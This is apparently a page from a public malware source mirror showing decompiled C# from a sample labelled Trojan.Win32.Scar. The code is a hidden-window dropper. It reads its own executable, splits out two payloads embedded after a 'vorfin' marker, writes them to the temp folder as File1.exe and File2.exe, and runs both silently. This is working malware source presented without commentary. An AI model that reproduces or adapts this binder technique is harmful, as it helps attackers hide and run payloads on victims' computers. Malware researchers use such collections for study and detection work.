mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-26 13:25:26 +00:00
77 lines
2.3 KiB
C#
77 lines
2.3 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: Stub1.Form1
|
|||
|
// Assembly: Stub1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 9B260F9E-B637-4FE8-A861-15D68DACD951
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.ComponentModel;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.IO;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace Stub1
|
|||
|
{
|
|||
|
[DesignerGenerated]
|
|||
|
public class Form1 : Form
|
|||
|
{
|
|||
|
private IContainer components;
|
|||
|
private const string FileSplit = "vorfin";
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
public Form1()
|
|||
|
{
|
|||
|
this.Load += new EventHandler(this.Form1_Load);
|
|||
|
this.InitializeComponent();
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
protected override void Dispose(bool disposing)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
if (!disposing || this.components == null)
|
|||
|
return;
|
|||
|
this.components.Dispose();
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
base.Dispose(disposing);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerStepThrough]
|
|||
|
private void InitializeComponent()
|
|||
|
{
|
|||
|
this.components = (IContainer) new System.ComponentModel.Container();
|
|||
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|||
|
this.Text = nameof (Form1);
|
|||
|
}
|
|||
|
|
|||
|
private void Form1_Load(object sender, EventArgs e)
|
|||
|
{
|
|||
|
this.Visible = false;
|
|||
|
this.Opacity = 0.0;
|
|||
|
this.ShowIcon = false;
|
|||
|
this.ShowInTaskbar = false;
|
|||
|
string tempPath = Path.GetTempPath();
|
|||
|
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
|||
|
string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
|||
|
FileSystem.FileGet(1, ref Expression);
|
|||
|
FileSystem.FileClose(1);
|
|||
|
string[] strArray = Strings.Split(Expression, "vorfin");
|
|||
|
FileSystem.FileOpen(3, tempPath + "\\File1.exe", OpenMode.Binary, OpenAccess.ReadWrite);
|
|||
|
FileSystem.FilePut(3, strArray[1], -1L, false);
|
|||
|
FileSystem.FileClose(3);
|
|||
|
FileSystem.FileOpen(5, tempPath + "\\File2.exe", OpenMode.Binary, OpenAccess.ReadWrite);
|
|||
|
FileSystem.FilePut(5, strArray[2], -1L, false);
|
|||
|
FileSystem.FileClose(5);
|
|||
|
Process.Start(tempPath + "\\File1.exe");
|
|||
|
Process.Start(tempPath + "\\File2.exe");
|
|||
|
this.Close();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|